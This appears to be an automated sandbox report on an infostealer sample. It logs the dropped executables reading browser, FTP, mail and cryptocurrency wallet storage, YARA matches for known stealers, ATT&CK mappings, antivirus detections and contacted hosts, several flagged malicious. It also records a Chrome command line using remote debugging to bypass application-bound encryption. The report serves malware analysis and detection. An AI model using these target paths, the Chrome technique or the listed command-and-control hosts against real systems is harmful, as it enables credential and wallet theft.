Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN

Source: Yara match	File source: 0000000B.00000003.2731194742.0000000001AAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 074873f122.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 074873f122.exe PID: 2996, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ad0f88d42c.exe PID: 5040, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 074873f122.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2546846657.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2727804477.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 6932, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	12 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	236 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	971 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	34%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007502001\f72eb1bfa4.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007503001\65c2c3d4c3.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007504001\47f677ba64.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	0%	ReversingLabs
C:\Users\user\DocumentsJDGCFBAFBF.exe	50%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
home.fvtekk5pn.top	34.116.198.130	true	true
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
services.addons.mozilla.org	151.101.1.91	true	false
fvtekk5pn.top	34.116.198.130	true	true
contile.services.mozilla.com	34.117.188.166	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false
ipv4only.arpa	192.0.0.171	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
push.services.mozilla.com	34.107.243.93	true	false
www.google.com	142.251.35.164	true	false
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false
star-mini.c10r.facebook.com	157.240.241.35	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
twitter.com	104.244.42.129	true	false
cook-rain.sbs	172.67.155.248	true	true
dyna.wikimedia.org	208.80.154.224	true	false
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false
youtube.com	142.251.32.110	true	false
s-part-0010.t-0009.t-msedge.net	13.107.246.38	true	false
youtube-ui.l.google.com	142.250.80.78	true	false
reddit.map.fastly.net	151.101.193.140	true	false
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false
js.monitor.azure.com	unknown	unknown	false
www.reddit.com	unknown	unknown	false
